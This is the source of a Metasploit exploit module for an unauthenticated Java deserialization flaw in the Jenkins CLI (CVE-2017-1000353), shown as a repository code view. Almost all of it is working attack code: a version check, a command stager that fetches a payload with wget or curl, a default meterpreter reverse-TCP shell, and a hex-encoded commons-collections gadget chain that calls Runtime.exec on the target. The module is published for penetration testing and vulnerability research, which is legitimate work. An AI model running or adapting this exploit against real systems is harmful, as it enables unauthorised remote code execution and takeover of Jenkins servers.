rapid7/metasploit-framework

View on GitHub
modules/exploits/linux/http/jenkins_cli_deserialization.rb

Summary

Maintainability
B
5 hrs
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Jenkins CLI Deserialization',
        'Description' => %q{
          An unauthenticated Java object deserialization vulnerability exists
          in the CLI component for Jenkins versions `v2.56` and below.

          The `readFrom` method within the `Command` class in the Jenkins
          CLI remoting component deserializes objects received from clients without
          first checking / sanitizing the data. Because of this, a malicious serialized
          object contained within a serialized `SignedObject` can be sent to the Jenkins
          endpoint to achieve code execution on the target.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'SSD', # PoC
          'Unknown', # Vulnerability discovery
          'Shelby Pace' # Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://www.jenkins.io/security/advisory/2017-04-26/'],
          [ 'URL', 'https://ssd-disclosure.com/ssd-advisory-cloudbees-jenkins-unauthenticated-code-execution/'],
          [ 'CVE', '2017-1000353']
        ],
        'Privileged' => false,
        'Platform' => 'linux',
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Targets' => [
          [
            'Linux',
            {
              'Platform' => 'linux',
              'CmdStagerFlavor' => [ 'wget', 'curl' ],
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'DisclosureDate' => '2017-04-26',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ UNRELIABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS ]
        },
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The base path to Jenkins', '/' ])
      ]
    )
  end

  def check
    login_uri = normalize_uri(target_uri.path, 'login')
    login_res = send_request_cgi(
      'method' => 'GET',
      'uri' => login_uri
    )

    return Exploit::CheckCode::Unknown('Did not receive a response from the server') unless login_res

    /Jenkins\s+ver\.\s+(?<version>\d+(?:\.\d+)*)/ =~ login_res.body
    return Exploit::CheckCode::Safe('Version of Jenkins cannot be found.') unless version

    vers_no = Rex::Version.new(version)
    return Exploit::CheckCode::Appears("Jenkins version #{version} detected") if vers_no < Rex::Version.new('2.54')

    Exploit::CheckCode::Detected
  end

  def exploit
    print_status('Sending payload...')
    execute_cmdstager(noconcat: true)
  end

  def format_payload(payload_data)
    formatted_payload = '74'
    formatted_payload << payload_data.length.to_s(16).rjust(4, '0')
    formatted_payload << payload_data.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
  end

  def execute_command(cmd, _opts = {})
    sess_uuid = SecureRandom.uuid
    sess_uri = normalize_uri(target_uri.path, 'cli')
    preamble = '<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='

    send_request_cgi(
      {
        'uri' => sess_uri,
        'method' => 'POST',
        'headers' =>
        {
          'Side' => 'download',
          'Session' => sess_uuid
        }
      },
      nil, false
    ) # don't wait for response, and don't disconnect

    cmd = build_obj(cmd)
    send_request_cgi(
      {
        'uri' => sess_uri,
        'method' => 'POST',
        'data' => preamble + [ cmd ].pack('H*'),
        'headers' =>
        {
          'Side' => 'upload',
          'Session' => sess_uuid
        }
      }
    )
    sleep(2) # give buffer time between requests for processing
  end

  def build_obj(obj_data)
    payload_data = '00000000aced00057372002f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e5265666572656e63654d61'
    payload_data << '701594ca03984908d7030000787077110000000000000001003f40000000000010737200286a6176612e7574696c2e636f6e63757272656e742'
    payload_data << 'e436f70794f6e577269746541727261795365744bbdd092901569d70200014c0002616c74002b4c6a6176612f7574696c2f636f6e6375727265'
    payload_data << '6e742f436f70794f6e577269746541727261794c6973743b7870737200296a6176612e7574696c2e636f6e63757272656e742e436f70794f6e5'
    payload_data << '77269746541727261794c697374785d9fd546ab90c303000078707704000000027372002a6a6176612e7574696c2e636f6e63757272656e742e'
    payload_data << '436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e637572726'
    payload_data << '56e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63'
    payload_data << '757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6'
    payload_data << 'd70617261746f723b7870707372001a6a6176612e73656375726974792e5369676e65644f626a65637409ffbd682a3cd5ff0200035b0007636f'
    payload_data << '6e74656e747400025b425b00097369676e617475726571007e000e4c000c746865616c676f726974686d7400124c6a6176612f6c616e672f537'
    payload_data << '472696e673b7870757200025b42acf317f8060854e002000078700000050daced0005737200116a6176612e7574696c2e48617368536574ba44'
    payload_data << '859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6'
    payload_data << 'e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a'
    payload_data << '6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e7'
    payload_data << '32e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61706163'
    payload_data << '68652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6'
    payload_data << 'e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d6954'
    payload_data << '72616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d657'
    payload_data << '23b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8'
    payload_data << '3418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436'
    payload_data << 'f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c'
    payload_data << '616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e7'
    payload_data << '32e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f'
    payload_data << '6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d547'
    payload_data << '97065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c'
    payload_data << '02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a9902000078700'
    payload_data << '00000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078'
    payload_data << '707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106'
    payload_data << 'a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013'
    payload_data << '75720013'
    payload_data << '5b4c6a6176612e6c616e672e537472696e673b'
    payload_data << 'add256e7e91d7b47'
    payload_data << '020000'
    payload_data << '7870'
    payload_data << '00000001'

    obj_data = format_payload(obj_data)
    payload_data << obj_data

    payload_data << '740004'
    payload_data << '65786563' # exec
    payload_data << '7571007e0'
    payload_data << '01b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756578'
    payload_data << '7200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700'
    payload_data << '507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878'
    payload_data << '787571007e00110000002f302d02147ed1e347cfebac075517d658628ac128211d8895021500945aaa3b69fb24194cdf22bcee9fc9c5e317266'

    # This index is the length of the serialized
    # object that belongs to the SignedObject
    start_arr = payload_data.index('050daced')
    end_arr = payload_data.index('787571007e')
    new_arr_len = ((end_arr + 2) / 2) - ((start_arr + 4) / 2)
    payload_data[start_arr, 4] = new_arr_len.to_s(16).rjust(4, '0')

    payload_data << '0740003445341737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017078737200316f72'
    payload_data << '672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced5302000'
    payload_data << '14c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c'
    payload_data << '656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b03000078707'
    payload_data << '37200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c'
    payload_data << '656d656e747371007e0018787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136'
    payload_data << 'a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740004617364667878'
    payload_data << '7371007e001e00000000770400000000787871007e00207371007e00027371007e000577040000000271007e001a71007e00097871007e00207078'
  end
end